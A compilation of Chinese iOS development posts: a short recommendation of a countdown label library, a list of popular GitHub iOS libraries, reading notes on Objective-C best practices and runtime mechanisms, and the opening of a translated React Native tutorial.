MZTimerLabel

来源:https://github.com/mineschan/MZTimerLabel

倒计时专用label,处理登录获取短信倒计时可用

个人评价

刚刚发现的好货,先存起来,配合时间相关方法,可以根据接口请求的时间戳做一些操作

总结

先从学习使用开始，到研究分析如何实现，才是大智慧。
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综合github上各个项目的关注度与具体使用情况,涵盖功能,UI,数据库,自动化测试,编程工具等类型,看完,还敢自称”精通iOS开发”吗?


	https://github.com/syedhali/EZAudio 基于核心音频,有助于进行实时，低延迟音频处理和可视化的iOS和OSX音频可视化框架。


	https://github.com/bang590/JSPatch JSPatch使用Objective-C运行时桥接Objective-C和Javascript。你可以只包括一个此库,就可以通过JavaScript调用Objective-C中的任何类和方法。 JSPatch一般用于动态修复iOS应用程序。


	https://github.com/Jawbone/JBChartView 基于iOS的用于线路和条形图的图表库。


	https://github.com/danielgindi/ios-charts 一个美丽MPAndroidChart的IOS版本.- 用于iOS应用的美丽图表！


	https://github.com/rentzsch/mogenerator Core Data 代码生成器.


	https://github.com/realm/realm-cocoa


	https://github.com/realm/realm-cocoa Realm 是移动端专用 数据库：用于替换核心数据与SQLite


	https://github.com/yapstudios/YapDatabase YapDatabase是一种用于iOS和Mac的可扩展的数据库。


	https://github.com/Marxon13/M13ProgressSuite含有许多工具套件，以在iOS上显示进度信息。


	https://github.com/mxcl/PromiseKit 用于iOS和OS X的Promises


	https://github.com/SwiftyJSON/SwiftyJSON 用于处理Swift中的JSON数据的更好方法


	https://github.com/stig/json-framework JSON（JavaScript对象符号）是一种轻量的数据交换格式，易于读写人类和计算机一样。该框架实现了用在Objective-C严格的JSON解析器和编码器。


	https://github.com/SnapKit/SnapKit 一个可用于为iOS和OS X的Swift自动布局DSL


	https://github.com/robb/Cartography 一个用于Swift的声明性自动布局DSL


	https://github.com/CocoaLumberjack/CocoaLumberjack快速和简单，但功能强大而灵活的日志框架适用于Mac和iOS


	https://github.com/fpillet/NSLogger 一个现代化的，灵活的日志工具


	https://github.com/Haneke/HanekeSwift 一个用于iOS的轻量级通用的高速缓存库,使用Swift编写,对图像有特别优化.


	https://github.com/vfr/ReaderiOS PDF阅读器核心库


	https://github.com/robbiehanson/XMPPFramework一个XMPP架构,使用Objective-C编写,适用于Mac和iOS


	https://github.com/Alamofire/Alamofire优雅的HTTP网络库,使用Swift编写


	https://github.com/Cocoanetics/DTCoreText 方法集,允许在CoreText中使用HTML代码


	https://github.com/mdiep/MMMarkdown一个Objective-C的静态库,用于将Markdown语法转换换为HTML。


	https://github.com/usebutton/DeepLinkKit极佳的路线匹配方式，基于块的方法来处理你的深层链接。


	https://github.com/KrauseFx/TSMessages 易于使用和定制的消息/通知,用于 iOS版Tweetbot.


	https://github.com/jessesquires/JSQMessagesViewController 一个优雅的iOS信息UI库


	https://github.com/Grouper/FlatUIKit令人惊叹的iOS扁平化UI组件集合。


	https://github.com/ViccAlexander/ChameleoniOS (Obj-C & Swift)扁平化颜色框架


	https://github.com/bryankeller/BLKFlexibleHeightBar 用BLKFlexibleHeightBar创建缩合的iOS应用程序标题栏就像出现在Facebook，Square Cash，和Safari浏览器的一样。


	https://github.com/victorBaro/VBFPopFlatButton扁平化风格的按钮在9个不同的国家使用POP


	https://github.com/hackiftekhar/IQKeyboardManager(IQKeyboardManager）无代码插入式通用库,可以防止键盘滑动起来的问题，涵盖的UITextField/ UITextView的。既不需要编写任何代码，也不需要任何设置等。


	https://github.com/TransitApp/SVWebViewController一个下拉内嵌浏览器为您的iOS应用提供帮助。


	https://github.com/facebook/AsyncDisplayKit/流畅的异步用户界面的的iOS应用程序。


	https://github.com/layerhq/Atlas-iOSAtlas是原生的iOS通信用户界面组件层的库。


	https://github.com/telly/TLYShyNavBar与那些所有嚣张的UINavigationBar比，这个是害羞，而且谦虚的！轻松创建自动滚动导航栏！


	https://github.com/okmr-d/DOFavoriteButton用Swift写可爱的动画按钮。* https://github.com/inFullMobile/WobbleView是在你的应用程序的任何视图最近受欢迎摆动效果的实现。它可以用于容易地动态添加到用户交互和过渡。* [https://github.com/ninjaprox/NVActivityIndicatorView收集好的加载动画


	https://github.com/devinross/tapkulibrarytap + haiku = tapku，一个精心设计的开源的iOS框架


	https://github.com/xmartlabs/XLFormXLForm是最灵活和最强大的iOS库创建动态表视图形式。与Swift和Obj-C 完全兼容。


	https://github.com/yoavlt/LiquidFloatingActionButton 液态材料设计浮动的操作按钮


	https://github.com/cwRichardKim/RKNotificationHub做任何UIView的一个完全成熟的通知中心* https://github.com/square/SocketRocket一个符合的Objective-C的WebSocket客户端库。


	https://github.com/realm/SwiftLint实验工具来执行Swift风格和约定。..


	https://github.com/facebook/chisel确切的LLDB集合命令来帮助调试的iOS应用程序。


	https://github.com/Flipboard/FLEX一个为iOS在应用程序的调试和探测工具


	https://github.com/krzysztofzablocki/KZBootstrap
iOS的项目引导瞄准高质量的编码。


	https://github.com/mattt/GroundControl为iOS远程配置


	https://github.com/supermarin/ObjectiveSugar ObjectiveC新增于人类。 Ruby的风格。


	https://github.com/EvgenyKarkan/EKAlgorithmsEKAlgorithms）EKAlgorithms包含一些知名的CS算法和数据结构。


	https://github.com/robb/Underscore.mDSL数据操作


	https://github.com/matthewpalmer/Locksmith一个强大的面向协议库，与Swift的钥匙串工作。


	https://github.com/jspahrsummers/libextobjcCocoa库扩展的Objective-C编程语言.


	https://github.com/square/Valet代客可以让你安全地存储在iOS和OS X的钥匙串数据，而无需了解的钥匙扣如何工作的事情。 小菜一碟。我们承诺。


	https://github.com/kishikawakatsumi/UICKeyChainStoreUICKeyChainStore是一个简单的包装钥匙串上的iOS。使得使用钥匙串的API一样容易的NSUserDefaults。


	https://github.com/thoughtbot/liftoff用于创建和配置新的Xcode项目的CLI


	https://github.com/gh-unit/gh-unit对于Objective-C的测试框架


	https://github.com/AliSoftware/OHHTTPStubs轻松存网络的要求！测试你的应用程序使用假网络数据和定制的响应时间，响应代码和头部！


	https://github.com/Quick/QuickSwift（和Objective-C）测试框架。


	https://github.com/specta/specta一个轻量级的TDD/ BDD框架的Objective-C和Cocoa


	https://github.com/kiwi-bdd/Kiwi简单的BDD为iOS


	https://github.com/kif-framework/KIF保持它的功能 - 在iOS功能测试框架


	https://github.com/facebook/ios-snapshot-test-case保持它的功能 - 在iOS功能测试框架


	https://github.com/square/PonyDebugger使用Chrome的开发人员工具,远程网络和数据调试您的本地iOS应用


	https://github.com/krausefx/snapshot自动把你的iOS应用程序的局部截图在每个设备上


	https://github.com/krausefx/deliver上传截图，元数据和您的应用程序在App Store使用一个命令


	https://github.com/KrauseFx/fastlane将所有iOS的部署工具为一个简化的工作流程


	https://github.com/johnno1962/injectionforxcode运行时代码注入的Objective-C和Swift


	https://github.com/DyCI/dyci-main对于Objective-C的动态代码注入工


	https://github.com/krzysztofzablocki/KZPlaygroundPlaygrounds for Objective-C





 iOS编写高质量代码

作者：koknine

来源： iOS编写高质量代码



                    
前言

github：https://github.com/koknine

（欢迎大家 star 我的 github，^-^）

这是一篇读书笔记，快速记录各种高效率编程的技巧和方法。这些方法是为了提升编码质量和效率，高质量代码利于后期的维护和更新，毕竟不能一份代码到永远。

由于是记录形式，当然不能把整篇内容都写下来，只记录关键性的内容，长期更新。

正文

Objective-C使用了消息机制代替调用方法。

区别：使用消息结构的语言，其运行时缩影执行的代码由运行环境来决定。而使用函数调用的语言，则又编译器决定。

头文件中少引用其他文件

在头文件中使用@Class代替直接引用其他头文件

多使用字面量语法

    NSNumber *intNumber = @1;
    NSNumber *floatNumber = @2.5f;
    NSNumber *doubleNumber = @3.1415926;
    NSNumber *boolNumber = @YES;
    NSNumber *charNumber = @'a';
    
    int a = 3;
    float b = 2.1;
    NSNumber *c = @(a*b);
    
    NSArray *animals = @[@"cat",@"dog",@"monkey"];
    
    NSString *dog = animals[1];

    NSDictionary *dataDict = @{ @"firstName" : @"aa",
                                @"lastName" : @"bb",
                                @"age" : @20 };
    
    NSString *lastName = dataDict[@"lastName"];
    
    NSMutableArray *mutableArray = animals.mutableCopy;

多用类型常量，少用#define预处理

如果只在本类使用的常量，使用static const关键字来定义常量。

如果多个类都需使用到某一常量，则需将常量定义成公开的，具体方式是在类的声明文件中使用extern const关键字声明常量，在类的实现文件中使用const关键字定义常量，这样任何类只要导入了声明常量的头文件就可以直接使用定义好的常量了。

在.h文件中声明

extern NSString *const XFExternalConst;

在.m文件中描述

NSString *const XFExternalConst = @"ko";

为避免冲突，一般都用类名做前缀。

用枚举表示状态、选项、状态码

枚举只是一种常量命名方式，某个对象所经历的各种状态可以定义为一个枚举集。

编译器会为枚举分配一个独有的编号，从0开始每个递增加1.实现枚举所用的数据类型取决于编译器，不过其二进制位的个数必须能完全表示枚举编号才行。

enum ConnectionState {
    ConnectionStateDisconnected,
    ConnectionStateConnecting,
    ConnectionStateConnected
};

typedef enum ConnectionState ConnectingState;


还可以不使用编译器所分配的编号，手工指定某个枚举成员所对应的值。

还有一种情况应该使用枚举类型，那就是定义选项的时候。若这些选项可以彼此组合，则更应该如此。只要枚举定义的对，各选项之间就可以通过“按位或操作符”来组合。

凡是需要以按位或操作来组合的枚举都应该用NS_OPTIONS宏，如果没有组合需求，就用NS_ENUM宏。

typedef NS_ENUM(NSInteger, UIViewAnimationTransition) {
    UIViewAnimationTransitionNone,
    UIViewAnimationTransitionFlipFromLeft,
    UIViewAnimationTransitionFlipFromRight,
    UIViewAnimationTransitionCurlUp,
    UIViewAnimationTransitionCurlDown,
};

typedef NS_OPTIONS(NSUInteger, UIViewAutoresizing) {
    UIViewAutoresizingNone                 = 0,
    UIViewAutoresizingFlexibleLeftMargin   = 1 << 0,
    UIViewAutoresizingFlexibleWidth        = 1 << 1,
    UIViewAutoresizingFlexibleRightMargin  = 1 << 2,
    UIViewAutoresizingFlexibleTopMargin    = 1 << 3,
    UIViewAutoresizingFlexibleHeight       = 1 << 4,
    UIViewAutoresizingFlexibleBottomMargin = 1 << 5
};

枚举在switch语句里面的时候，不需要加default分支。

属性的概念

基本方法就不描述了。

@dynamic关键字，表示不要自动创建实现属性所有的实例变量，也不要为其创建存取方法。即使编译器没有发现定义存取方法，也不会报错，它相信这些方法能在运行期找到。

属性的四种特质

	原子性




默认情况下，编译器合成的方法会锁定机制保持atomic。如果使用nonatomic，则不使用同步锁。

	读写权限




readwrite的属性具有getter和setter方法

readonly的属性仅具有getter方法

	内存管理语义




assign只针对“纯量类型”，比如CGFloat或者NSInteger

strong表示该属性定义了一种拥有关系。为这种属性设置新值时，设置方法会先保留新值，并释放旧值，然后将新值设置上去

weak表示该属性定义另一种非拥有关系。为这种属性设置新值时，设置方法既不保留新值，也不释放旧值。和assign类似，然而在属性所指的对象遭到摧毁时，属性值也会清空

unsafe_unretained这个和assign相同，但是它适用于对象类型，该特质表达一种非拥有关系，当目标对象遭到摧毁时，属性值不会自动清空，是不安全的

copy表达的所属关系和strong类型。然后设置方法并不保留新值，而是将其拷贝。当属性类型为NSString *时，经常用此特质来保护其封装性，因为传递给设置方法的新值可能指向一个NSMutableString类的实例。如果不是拷贝的花，那么设置完属性以后，字符串的值可能会在对象不知情的情况下遭人更改。所以这个时候需要拷贝一份不可变的字符串。

	方法名




getter=<name> 指定getter的方法名。如果属性是Boolean型，在方法名加上is前缀，就可以用这个方法来指定。

setter=<name> 指定setter的方法名。这个不常见。

在对象内部尽量直接访问实例变量

懒加载是重写getter方法

理解对象等同性的概念

按照==操作符比较出来的结果未必是我们想要的，因为该操作符比较出来的是两个指针本身，而不是指针所指的对象。应该是用NSObject协议中声明的isEqual方法来判断两个对象的等同性。来办来说两个类型不同的对象总是不相等的。

NSString *oneStr = @"aaa 21";
NSString *twoStr = [NSString stringWithFormat:@"aaa %d",21];
BOOL equalA = (oneStr == twoStr);//NO
BOOL equalB = [oneStr isEqual:twoStr];//YES
BOOL equalC = [oneStr isEqualToString:twoStr];//YES


两个用于判断等同性的关键方法

	(BOOL)isEqual:(id)object;
@property (readonly) NSUInteger hash;




默认实现是：当且仅当其指针值完全相等时，这两个对象才相等。

几个要点


	若想监测对象的等同性，提供isEqual:与 hash 方法


	相同的对象必须具有相同的哈希码，但是两个哈希码相同的对象却未必相同


	不要盲目逐个检测每条属性，而是应该依照具体需求来制定监测方案


	编写 hash 方法时，应该是用计算速度快而且碰撞低的算法




以“类族模式”隐藏实现细节

核心套路就是类似UIButton，创建的时候传入一个枚举值，根据枚举值来创建子类。（这里的笔记是我看懂以后写的，不知道的朋友先搜索一下工厂模式，其实就是那个意思）

在既有类中使用关联对象存放自定义数据

有时候需要在对象中存放相关信息，这时候我们通常会从对象所属的类中继承一个子类，然后改用这个子类对象。然而并非所有情况下都能这么做，有时候类的实例可能由某种机制创建。Objective-C有一种强大机制叫关联对象。

这种机制要小心使用，因为会使代码失控。

理解objc_msgSend的作用

原型

void objc_msgSend(id self, SEL cmd, ...)

一个例子

id returnValue = [someObject messageName:parameter];

编译器会把它转换为以下函数

id returnValue = objc_msgSend(someObject,@selector(messageName:),parameter);

为了完成调用方法，该方法需要在接受者所属的类中搜寻其方法列表，如果能找到，就跳转过去。如果找不到，就沿着继承体系向上继续查找，等找到合适的再跳转。如果最终还是找不到，就执行消息转发的操作。

一些边界情况，则交由另一些函数处理


	objc_msgSend_stret 如果待发送的消息要返回结构体，可交此函数处理。


	objc_msgSend_fpret 如果消息返回的是浮点数，可交由此函数处理。


	ojbc_msgSendSuper 如果要给超类发送消息，例如[super message:parameter]，那么就就交由此函数处理。




理解消息转发机制

消息转发分为两大阶段。

第一阶段先问接受者，所属的类，看其是否能动态添加方法，以处理当前这个unknown selector，这称为dynamic method resolution。

第二阶段涉及full forwarding mechanism。如果运行期系统已经把第一阶段执行完了，那么接受者自己就无法再以动态新增方法的手段来响应包含该selector的消息了。此时，运行期系统会请求接受者以其他手段来处理与消息相关的方法调用。然后又分两部。

首先，让接受者看看有没有其他对象能处理这条消息。如果有，就转发给那个对象。

如果没有，就会启动完整的消息转发机制，运行期系统会把消息有关的全部细节封装到NSInvocation对象中，再给接受者最后一次机会，让它设法解决当前还未处理的这条消息。

动态方法解析

对象收到无法解读的消息后，先调用

+ (BOOL)resolveInstanceMethod:(SEL)sel 

该方法的参数就是那个未知的selector，返回Boolean类型，表示这个类是否能新增一个实例方法用来处理这个selector。在继续走下去之前，这有个机会新增一个处理的方法。

如果尚未实现的不是实例方法而是类方法，则调用

+ (BOOL)resolveClassMethod:(SEL)sel

使用他们的前提是，相关方法的实现代码已经写好，只等着运行的时候动态插入在类里面。

这个常常用来实现@dynamic属性。

后备接收者

当前接收者还有第二次机会处理，能不能把消息转发给其他接收者

- (id)forwardingTargetForSelector:(SEL)aSelector

找得到就返回对象，找不到就返回nil。

完整的消息转发

- (void)forwardInvocation:(NSInvocation *)anInvocation

先创建NSInvocation对象，把尚未处理的那条消息有关的全部细节都封在其中。此对象包含selector，target以及参数。

继承体系中的每个类都有机会处理此调用请求，直到NSObject。如果还没有找到，那么该方法还会继续调用doesNotRecognizeSelector:抛出异常，此异常表示最终未能处理。

这个机制属于底层机制，可以动态注入方法，甚至之前的可以动态注入属性，云后端服务商可以说基本就靠这个套路，通过KVC的样子往类里面添加属性。

用方法调配技术调试黑盒方法

黑科技。

IMP指针，改方法实现，替换系统方法，可以多添加日志打印。

类对象

OC 是一门极其动态的语言。

每个 OC 对象实例都是指向某块内存数据的指针。

typedef struct objc_object {
    Class isa;
} *id;

每个对象结构体的首个成员是Class类的变量。该变量定义了对象所属的类，通常称为is a指针。

typedef struct objc_class *Class;
struct objc_class {
    Class isa;
    Class super_class;
    const char *name;
    long version;
    long info;
    long instance_size;
    struct objc_ivar_list *ivars;
    struct objc_method_list **methodLists;
    struct objc_cache *cache;
    struct objc_protocol_list *protocols;
};

此结构体存放类的元数据，例如类的实例实现了几个方法，具备多少个实例变量等信息。
首个变量是isa指针，说明Class本身也是 OC 对象。

super_class定义了本类的超类。类对象所属的类型是另一个类，叫做超类。

每个类仅有一个类对象，而每个类对象仅有一个与之相关的元类。

class方法所返回的类表示发起代理的对象，而非接受代理的对象。

用前缀避免命名空间冲突

开发者可能会忽视另外一个容易引发命名冲突的地方，那就是类的实现文件中所用的纯 C 函数及全局变量。

提供全能初始化方法

所有对象均要初始化。

提供一个全能初始化方法，其他的几种初始化方法调用它。

如果全能初始化方法与超类不同，则需覆写超类中的对应方法。

实现description方法

重写- (NSString *)description

控制台- (NSString *)debugDescription

尽量使用不可变对象

尽量把对外公布出来的属性设为只读，只在必要时候对外公布。

有时候想修改封装在对象内部的数据，但是却不想让外人所改动。这种情况需要将readonly在.m文件中重新生成readwrite。但是为了避免产生意外，需要在必要时通过dispatch queue来实现。

不要把可变的内容作为属性公开，而是提供相关方法，以此修改对象中的可变内容。

使用清洗而协调的命名方式

驼峰命名法

方法与变量以小写字母开头

类名以大写字母开头

不要使用str这种简称，而用string这样的全称

Boolean属性应该加is前缀，如果某方法返回非属性的Boolean值，应该根据功能选用has或者is当前缀

类与协议的命名

为类与协议的名称加上前缀，以避免命名空间的冲突

委托一般使用委托的发起方名称后面跟一个Delegate

为私有方法名加前缀

一般可以使用p_作为前缀，表示私有方法

不要用一个单独的下划线作为私有方法的前缀

理解Objective-C错误模型

异常NSException应该用于极其严重的错误，比如编写了某个抽象基类，它的正确用法是先从重继承一个子类，然后再使用这个子类。在这种情况下，如果有人直接使用了这个抽象基类，那么可以考虑抛出异常。

NSError的用法很灵活，封装了三条信息


	Error domain 错误范围，类型为字符串
错误发生的范围，通常用一个特有的全局变量来定义。


	Error code 错误码，类型为证书
独有的错误代码。这种错误通常采用enum来定义，比如 HTTP 请求返回的状态码。


	User info 用户信息，类型为字典
有关此错误的额外信息，其中或许包含一段本地化描述，或许还包含导致该错误发生的另外一个错误，经由此种信息，可将相关错误传承一条chain of errors。




理解NSCopying协议

使用对象时经常需要拷贝它。如果想令自己的类支持拷贝操作

- (id)copyWithZone:(NSZone *)zone;

为什么会出现NSZone，以前开发的时候，会把内存分成不同的zone，而对象会创建在某个区里面。现在不用了，每个程序只有一个default zone

另外一个NSMutableCopying协议，返回可变的副本

- (id)mutableCopyWithZone:(NSZone *)zone;

深拷贝
在拷贝对象自身时，将底层数据也一并复制过去

浅拷贝
Foundation框架中所有的容器类默认情况下执行浅拷贝，只拷贝对象本身，不复制数据
因为不是所有对象都能拷贝，而且调用者也未必需要都一一拷贝。

通过委托与数据源协议进行对象间通信

委托属性要定义成weak，因为两者之间必须为非拥有关系

- (BOOL)respondsToSelector:(SEL)aSelector;

也可以用协议定义一套接口，令某类从该接口获取所需的数据。委托模式的这种用法是向类提供数据，所以成为dataSource。在这种模式中，信息从数据源流向类。而在常规的代理模式中，信息则从类流向受委托者。

将类的实现代码分散到便于管理的数个分类之中

把一个类中的几个不同模块方法写到别的文件中，合理使用category。

不要在分类中声明属性

除了extension外，其他的分类都无法向类中新增实例变量

声明为@dynamic，然后动态添加

使用extension隐藏实现细节

通过协议提供匿名对象

使用匿名对象来隐藏类型名称

理解引用计数

retain 增计数
release 减计数
autorelease 待稍后清理autorelease pool时，再减少计数

对象创建出来时，其保留计数至少为1

自动释放池

循环引用

以ARC简化引用计数

若方法名以下列词语开头，则返回的对象归调用者所有


	alloc


	new


	copy


	mutableCopy




在应用程序中，可用下列修饰符来改变局部变量与实例变量的语义

__strong 默认语义，保留这个值

__unsafe_unretained 不保留这个值，这么做可能不安全，因为等到再次使用变量时，其对象可能已经回收了

__weak 不保留这个值，但是变量可以安全使用，因为如果系统把这个对象回收了，那么变量也会自动清空

__autoreleasing 把对象按引用传递给方法时，使用这个特殊的修饰符，此值在方法返回时自动释放

比如，想令实例变量的语义与不使用 ARC 时相同，可以使用__weak或__unsafe_unretained修饰符

block 块会自动保留其所捕获的全部对象，而如果这其中有某个对象又保留了块本身，那么就可能导致循环引用，可以用__weak局部变量来打破这种循环引用

注意：CoreFoundation对象不归 ARC 管理，开发者必须适时调用CFRetain/CFRelease

在dealloc方法中只释放引用并解除监听

把原来配置过的观测行为都清除掉，如果使用NSNotificationCenter给此对象注册过某种通知，那么一般应该在这里注销

使用弱引用来避免循环引用

理解Block


如果block所捕获的变量是对象类型，那么就会自动保留它。系统在释放这个块的时候，也会将其一并释放。这引出一个重要问题。block块本身可视为对象，也有引用计数。

如果将block块定义在实例方法中，那么除了可以访问类的所有实例变量之外，还可以使用 self
变量，块总能修改实例变量，所以在声明时无需加__block。不过，如果通过读取或者写入操作捕获了实例比那两，那么也会自动把self变量一并捕获了，因为实例变量是与self所指代的实例关联在一起的。

全局块

定义块的时候，占的内存区域是分配在栈中的

给块发送copy消息拷贝，这样就可以把块从栈复制到堆了。

全局块不会捕捉任何状态，运行时也无须有状态来参与。

为常用的块类型创建typedef


用handler块降低代码分散程度

使用block块引用所属对象不要出现引用循环

多用派发队列，少用同步锁

@synchronized(self)根据给定的对象，自动创建一个锁，并等待块中的代码执行完毕

NSLock

不过最好使用 GCD，它能更简单，更搞笑的形式为代码加锁

使用串行同步队列，将读取操作以及写入操作都安排在同一个队列里，可保证数据同步

_syncQueue = dispatch_queue_create("com.xx", NULL);

dispatch_sync(_syncQueue, ^{
    _someString = someString;
});


把设置和获取操作都安排在序列化的队列里执行，这样的花所有针对属性的访问操作都同步了

dispatch_barrier_async(dispatch_queue_t queue,disaptch_block_t block);在barrier中必须单独执行，不能与其他块并行

多使用 GCD，少用performSelector系列方法

延后执行某个任务

dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(3.0 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
    [self doSomething];
});

想把任务放在主线程上执行

dispatch_async(dispatch_get_main_queue(), ^{
    [self doSomething];
});


掌握 GCD 及操作队列的使用时机

在执行后台任务时，GCD 并不一定是最佳方式，还有一种技术叫做NSOperationQueue

比如，从服务器端下载并处理文件的动作，可以用操作来表示，而在处理其他文件之前，必须先下载清单文件，后续的下载操作，都要依赖于先下载清单文件这一操作。如果操作队列允许并发的话，那么后续的多个下载操作就可以同时执行，但前提是它们所依赖的那个清单文件下载操作已经执行完毕

NSOperation对象有许多属性都适合 KVO 来监听，isCancelled来判断任务是否取消，或者通过isFinished来判断任务是否完成。

NSOperation对象也有线程优先级

通过dispatch group机制，根据系统资源状况来执行任务

使用dispatch_once来执行只需一次的线程安全代码

单例使用

不要使用dispatch_get_current_queue


熟悉系统框架

CFNetwork，此框架提供了 C 语言级别的网络通信能力，它将 BSD 抽象成易于使用的网络接口。而 Foundation 则将该框架李的部分内容封装为 OC 的接口

CoreAudio，此框架提供的 C 语言 API 可以用来操作设备商的音频硬件

AVFoundation，用来回访并录制音频及视频

CoreData，将对象放入数据库

CoreText，可以高效执行文字排版及渲染操作

多用块枚举，少用 for 循环

构建缓存时选用NSCache而非NSDictionary


精简initialize与load的实现代码

+ (void)load，只调用一次。

+ (void)initialize，该方法在程序首次使用该类之前调用，且只调用一次


NSTimer会保留其目标对象

NSTimer很容易出现引用循环

（未完待续）

总结

纯属个人笔记，特别是底层机制很有作用，如今iOS开发不再仅仅是把一个内容展现出来，里面还有涉及到各种安全性能，了解根本才是持续发展之道。
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来源： React Native 简介：用 JavaScript 搭建 iOS 应用 (1)



                    
【编者按】本篇文章的作者是 Joyce Echessa——渥合数位服务创办人，毕业于台湾大学，近年来专注于协助客户进行 App 软体以及网站开发。本篇文章中，作者介绍通过 React Native 框架构建一个示例应用的开发过程，使得网络技术和移动开发碰撞出绚丽火花，本文系 OneAPM 工程师编译整理：


我们已经了解像 Titanium 和 PhoneGap 等框架，它们能让开发者用 Web 技术构建移动应用。这是一个优势，支持开发者使用原先网络和移动开发的相关技术。不仅如此，相同的代码库经过小幅度的修改便能适用多个平台——这就是著名的「一次编写，到处运行」。然而，当涉及到构建应用的性能时，这些框架的缺点显露无遗，尽管它们有一些吸引力，但却一直更适用于构建原生应用。





React Native 却与众不同。像 PhoneGap 这样的框架是将网页内容包装成 WebView，导致 UI 元素并没有原生的感觉，而 React Native 则使用原生 iOS 或 Android 组件支持的 JavaScript 组件，所以你构建的应用是完全原生的。


Facebook 的汤姆 Occhino 在文章末尾链接视频中说，React Native 并非是「一次编写，到处运行」的框架。正如本教程所介绍，你使用特定平台的组件来构造 UI，所以并不能直接将同样的代码放到 Android 上运行。React Native 是让你学习这套技能，并可以用它在多种平台上搭建应用，Occhino 更进一步阐明，这其实是「一次编写，到处运行」的框架。在本文中，作者将介绍利用 React Native 框架构建一个简单应用的完整开发过程。


开始吧！


首先，介绍一下在开发机器上安装 React Native 的流程。


开始之前，应该提醒大家：你可以从 GitHub 获取 React Native 框架代码。接着运行其中的示例项目，比如2048（游戏）、Movies （电影浏览器应用）、SampleApp（空白的 React Native 应用）、TicTacToe （游戏）和 UIExplorer（这个应用展现了所有可能用到的 React Native 组件，比如 ListView、TabBar、MapView、Slider 等）。这些应用能帮助你学习使用 React Native 构建 UI 元素，尤其是 UIExplorer 应用程序，它提供了你可能需要用到的每个 UI 元素。但是，有些应用程序还有 Bug，笔者在尝试运行时也出现过几次崩溃。尽管如此，它们仍然非常值得学习，如需详情，你可以了解下相关文档。


现在开始安装。React native 利用 Node.js 来搭建 JavaScript 代码。如果你电脑上已经安装过，则可以跳过以下步骤，否则请继续以下步骤。


我们选择使用 Homebrew 来安装 Node.js 框架。虽然这不是安装 Node 的唯一方式，但我发现，Homebrew 是非常好用的包管理器。你可以用它很容易地安装最新或特定版本的包、使用不同版本的软件包、选择要使用的版本、更新和卸载包等。想要安装 Homebrew，可以直接去官网，按照网页页面顶部指令即可。由于链接可能会变，这里就不贴出下载链接了。


在 Homebrew 安装好后，粘贴以下指令到终端窗口以安装 Node.js。


Swiftbrew install node



接着安装 watchman。


Swiftbrew install watchman



Watchman 是 Facebook 的文件监控器。React Native 用它来检测代码变化，以便重新编译。


接着用下列指令安装 React Native CLI 工具。


Swiftnpm install -g react-native-cli



NPM 是 Node 的包管理器。你可以将它想象成 Ruby 中的 RubyGems、iOS 的 CocoaPods，以及 Java 中的 Gradle/Maven 等。它能够让你更容易地下载和管理项目所需的任何相关项。


在终端窗口，切换到你想要保存项目的文件夹，然后运行以下命令。


Swiftreact-native init BookSearch



以上是用 CLI 工具来构建一个可以编译和运行的 React Native 项目。当这个过程完成后，你会收到来自终端窗口的消息，在 Xcode 中打开 BookSearch.xcodeproj，并照常运行该应用程序。接下来模拟器将启动你的应用，此外，将再打开一个终端窗口。当一个 React Native 应用启动时，它将从以下网址加载 JavaScript 程序。


Swifthttp://localhost:8081/index.ios.bundle



终端窗口打开后，会启动 React Packager，并由服务器处理以上请求。React Packager 负责读取并构建 JSX（之后会介绍）和 JavaScript 代码。





运行应用时，你会看到下图的模拟器。如果你要在设备上运行，应该按照以下几个步骤。





顺便说一句，你应该注意欢迎界面给出的关键指令：通过编辑创建项目时生成的 index.ios.js 文件，编辑应用的用户界面，如果你修改了 JavaScript 代码，用 Command-R 加载应用程序，看看有什么变化。如果你想要更多选择，使用 Command-Control-Z 打开开发者功能表，它提供启用时重新加载、浏览器调试等选项。





当你按照本文操作，模拟器上却突然出现一个红色屏幕时，不妨检查一下模拟器上的错误消息。通过检查可以排查出问题是出自代码还是服务器。作者也曾经遇到几次服务器连接失败的情况，由模拟器反馈的错误消息是「无法连接到服务器」，然而检查终端时得到「进程终止」的错误消息。面对这种情况时，需要关闭终端窗口，停止在 Xcode 上的应用，并重新运行。对于其他错误比如代码中的语法错误、网络请求超时错误（如果你的应用是从网络获取数据），在修正错误后再重新加载应该就可以了。


如果在键盘上按下 Command-R 没什么用，那么键盘可能没能连接到模拟器。从模拟器功能表中选择硬件>键盘>连接硬件键盘，便能成功连接。


如果你已经完成以上步骤，却仍没有重新加载，那么可能需要重新启动计算机。笔者曾经遇到过一次奇葩经历，项目运行一切正常，但却突然停止工作，重新启动后又恢复正常。


现在开始构建我们的应用。打开 index.ios.js 文件。作者推荐使用适用于 Web 开发的 IDE。当然你也可以使用 Xcode，但不久你会发现它并不是很适合。当你需要代码格式化时，它的用处不大，无法自动填充或语法错误高亮。对于适合的 JavaScriptIDE，你可以通读本文后再做决定。我用的是 RubyMine，事实上只要是支持 JavaScript 的任何 IDE 都行，如果你选择一个还能支持 JSX 的那会更好。


当打开 index.ios.js 文件时，你会发现这些代码构建的是执行应用时所看到的 UI。


JavaScript'use strict';



上述代码开启了 Strict Mode，这将为 React Native 中的 JavaScript 代码加入了改良的错误处理能力。


JavaScriptvar React = require('react-native');



上述代码载入 react-native 模块，并将其分配给 React 变量。在你可以调用模块的所有功能之前，必须加载外部模块到项目文件。就像在 Swift 和 Objective-C 中导入库。


JavaScriptvar {
  AppRegistry,
  StyleSheet,
  Text,
  View,
} = React;



以上代码被称作解构赋值，能够让你分配多个对象属性到一个单变量。使得这些属性可以在整个文件范围中引用。以上代码是可选的，但如果你省略不要，那么每当你在代码中使用一个组件时，你必须使用其完整名称，例如「React.AppRegistry」、「React.StyleSheet」而不是 「AppRegistry」、「StyleSheet」。


JavaScriptvar BookSearch = React.createClass({
  render: function() {
    return (
      <View style={styles.container}>
        <Text style={styles.welcome}>
          Welcome to React Native!
        </Text>
        <Text style={styles.instructions}>
          To get started, edit index.ios.js
        </Text>
        <Text style={styles.instructions}>
          Press Cmd+R to reload,{'\n'}
          Cmd+Control+Z for dev menu
        </Text>
      </View>
    );
  }
});



上面代码创建了只有单一函数 render()的类。无论 render 中定义了什么，都将被输出到屏幕。上述代码使用 JSX（JavaScript 语法扩展）来构建应用的用户界面。如果你之前已经使用 XML（甚至 HTML），那么对 JSX 应该不陌生。它同样需要使用开始、结束标记，在标记中使用属性来设置数值。React Native 不必非得使用 JSX，你可以用普通的 JavaScript，但笔者更推荐 JSX，因为它简化了定义的树结构的过程。如果你需要大量的代码构建 UI，通过庞大的 JSX 树结构使代码可读性更强。


